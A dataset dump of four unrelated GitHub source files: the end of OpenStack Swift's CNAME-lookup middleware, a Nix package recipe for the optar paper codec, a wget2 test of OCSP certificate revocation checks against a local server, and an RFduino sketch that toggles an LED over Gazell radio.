a_domain = '.' + a_domain
for domain in self.storage_domain:
if a_domain.endswith(domain):
return True
return False
def __call__(self, env, start_response):
if not self.storage_domain:
return self.app(env, start_response)
if 'HTTP_HOST' in env:
requested_host = env['HTTP_HOST']
else:
requested_host = env['SERVER_NAME']
given_domain = wsgi_to_str(requested_host)
port = ''
if ':' in given_domain:
given_domain, port = given_domain.rsplit(':', 1)
if is_valid_ip(given_domain):
return self.app(env, start_response)
a_domain = given_domain
if not self._domain_endswith_in_storage_domain(a_domain):
if self.memcache is None:
self.memcache = cache_from_env(env)
error = True
for tries in range(self.lookup_depth):
found_domain = None
if self.memcache:
memcache_key = ''.join(['cname-', a_domain])
found_domain = self.memcache.get(memcache_key)
if six.PY2 and found_domain:
found_domain = found_domain.encode('utf-8')
if found_domain is None:
ttl, found_domain = lookup_cname(a_domain, self.resolver)
if self.memcache and ttl > 0:
memcache_key = ''.join(['cname-', given_domain])
self.memcache.set(memcache_key, found_domain,
time=ttl)
if not found_domain or found_domain == a_domain:
# no CNAME records or we're at the last lookup
error = True
found_domain = None
break
elif self._domain_endswith_in_storage_domain(found_domain):
# Found it!
self.logger.info(
_('Mapped %(given_domain)s to %(found_domain)s') %
{'given_domain': given_domain,
'found_domain': found_domain})
if port:
env['HTTP_HOST'] = ':'.join([
str_to_wsgi(found_domain), port])
else:
env['HTTP_HOST'] = str_to_wsgi(found_domain)
error = False
break
else:
# try one more deep in the chain
self.logger.debug(
_('Following CNAME chain for '
'%(given_domain)s to %(found_domain)s') %
{'given_domain': given_domain,
'found_domain': found_domain})
a_domain = found_domain
if error:
if found_domain:
msg = 'CNAME lookup failed after %d tries' % \
self.lookup_depth
else:
msg = 'CNAME lookup failed to resolve to a valid domain'
resp = HTTPBadRequest(request=Request(env), body=msg,
content_type='text/plain')
return resp(env, start_response)
else:
context = _CnameLookupContext(self.app, requested_host,
env['HTTP_HOST'])
return context.handle_request(env, start_response)
return self.app(env, start_response)
def filter_factory(global_conf, **local_conf): # pragma: no cover
conf = global_conf.copy()
conf.update(local_conf)
register_swift_info('cname_lookup',
lookup_depth=int(conf.get('lookup_depth', '1')))
def cname_filter(app):
return CNAMELookupMiddleware(app, conf)
return cname_filter
| {
"pile_set_name": "Github"
} |
{ stdenv, fetchurl, imagemagick, libpng }:
stdenv.mkDerivation {
pname = "optar";
version = "20150210";
src = fetchurl {
url = "http://ronja.twibright.com/optar.tgz";
sha256 = "10lr31k3xfcpa6vxkbl3abph7j3gks2210489khnnzmhmfdnm1a4";
};
buildInputs = [ libpng ];
enableParallelBuilding = true;
postPatch = ''
substituteInPlace Makefile \
--replace /usr/local $out
substituteInPlace pgm2ps \
--replace 'convert ' "${stdenv.lib.getBin imagemagick}/bin/convert "
'';
preInstall = ''
mkdir -p $out/bin
'';
meta = with stdenv.lib; {
description = "Optar stands for OPTical ARchiver - it's a codec for encoding data on paper";
homepage = "http://ronja.twibright.com/optar/";
license = licenses.gpl2;
maintainers = with maintainers; [ peterhoeg ];
platforms = with platforms; linux; # possibly others, but only tested on Linux
};
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018-2020 Free Software Foundation, Inc.
*
* This file is part of Wget
*
* Wget is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Wget is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Wget If not, see <https://www.gnu.org/licenses/>.
*/
#include <config.h>
#include "libtest.h"
int main(void)
{
wget_test_url_t urls[]={
{ .name = "/index.html",
.code = "200",
.body = "...",
.headers = {
"Content-Type: text/plain",
}
}
};
wget_test_start_server(
WGET_TEST_RESPONSE_URLS, &urls, countof(urls),
WGET_TEST_FEATURE_MHD,
WGET_TEST_FEATURE_TLS,
WGET_TEST_FEATURE_OCSP,
0);
// Test ocsp with 'verified' response
wget_test(
WGET_TEST_OPTIONS, "--ca-certificate=" SRCDIR "/certs/ocsp/x509-root-cert.pem --no-ocsp-file --no-ocsp-date --no-ocsp-nonce --ocsp --ocsp-server http://localhost:{{ocspport}}",
WGET_TEST_REQUEST_URL, "https://localhost:{{sslport}}/index.html",
WGET_TEST_EXPECTED_ERROR_CODE, 0,
WGET_TEST_OCSP_RESP_FILE, SRCDIR "/certs/ocsp/ocsp_resp_ok.der",
WGET_TEST_EXPECTED_FILES, &(wget_test_file_t []) {
{urls[0].name + 1, urls[0].body},
{ NULL} },
0);
// Test ocsp with 'revoked' response
wget_test(
WGET_TEST_OPTIONS, "--ca-certificate=" SRCDIR "/certs/ocsp/x509-root-cert.pem --no-ocsp-file --no-ocsp-date --no-ocsp-nonce --ocsp --ocsp-server http://localhost:{{ocspport}}",
WGET_TEST_REQUEST_URL, "https://localhost:{{sslport}}/index.html",
WGET_TEST_EXPECTED_ERROR_CODE, 5,
WGET_TEST_OCSP_RESP_FILE, SRCDIR "/certs/ocsp/ocsp_resp_revoked.der",
0);
// Test ocsp with 'revoked' response ignored by --no-check-certificate
wget_test(
WGET_TEST_OPTIONS, "--ca-certificate=" SRCDIR "/certs/ocsp/x509-root-cert.pem --no-ocsp-file --no-ocsp-date --no-ocsp-nonce --ocsp --ocsp-server http://localhost:{{ocspport}} --no-check-certificate",
WGET_TEST_REQUEST_URL, "https://localhost:{{sslport}}/index.html",
WGET_TEST_EXPECTED_ERROR_CODE, 0,
WGET_TEST_OCSP_RESP_FILE, SRCDIR "/certs/ocsp/ocsp_resp_revoked.der",
WGET_TEST_EXPECTED_FILES, &(wget_test_file_t []) {
{urls[0].name + 1, urls[0].body},
{ NULL} },
0);
// Test ocsp without specifying responder URL
wget_test(
WGET_TEST_OPTIONS, "--ca-certificate=" SRCDIR "/certs/ocsp/x509-root-cert.pem --no-ocsp-file --no-ocsp-date --no-ocsp-nonce --ocsp",
WGET_TEST_REQUEST_URL, "https://localhost:{{sslport}}/index.html",
WGET_TEST_EXPECTED_ERROR_CODE, 0,
WGET_TEST_OCSP_RESP_FILE, SRCDIR "/certs/ocsp/ocsp_resp_ok.der",
WGET_TEST_EXPECTED_FILES, &(wget_test_file_t []) {
{urls[0].name + 1, urls[0].body},
{ NULL} },
0);
exit(EXIT_SUCCESS);
}
| {
"pile_set_name": "Github"
} |
/*
This sketch demonstrates how to send data from a Device
to a Host in a Gazell network.
The host and upto 3 devices should have the RGB shield
attached. When Button A on a Device is pressed, the
associated led on the Host will toggle. Device1 is
associated with the Red led, Device2 with the Green led
and Device3 with the Blue led.
The Green led on the Device will blink to indicate
that an acknowledgement from the Host was received.
*/
#include <RFduinoGZLL.h>
device_t role = HOST;
// pin for the Green Led
int green_led = 3;
void setup()
{
pinMode(green_led, OUTPUT);
// use the lowest power level
RFduinoGZLL.txPowerLevel = -20;
// the host/device base address can be changed to create independent networks in the same area
// (note: the msb cannot be 0x55 or 0xaa)
RFduinoGZLL.hostBaseAddress = 0x12345678; // default host base address is 0x0D0A0704;
RFduinoGZLL.deviceBaseAddress = 0x87654321; // default device base address is 0x0E0B0805;
// start the GZLL stack
RFduinoGZLL.begin(role);
}
void loop()
{
}
void RFduinoGZLL_onReceive(device_t device, int rssi, char *data, int len)
{
char state = data[0];
// this test is not needed for a single device
if (device == DEVICE0)
digitalWrite(green_led, state);
// no data to piggyback on the acknowledgement sent back to the Device
// RFduinoGZLL.sendToDevice(device, "OK");
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.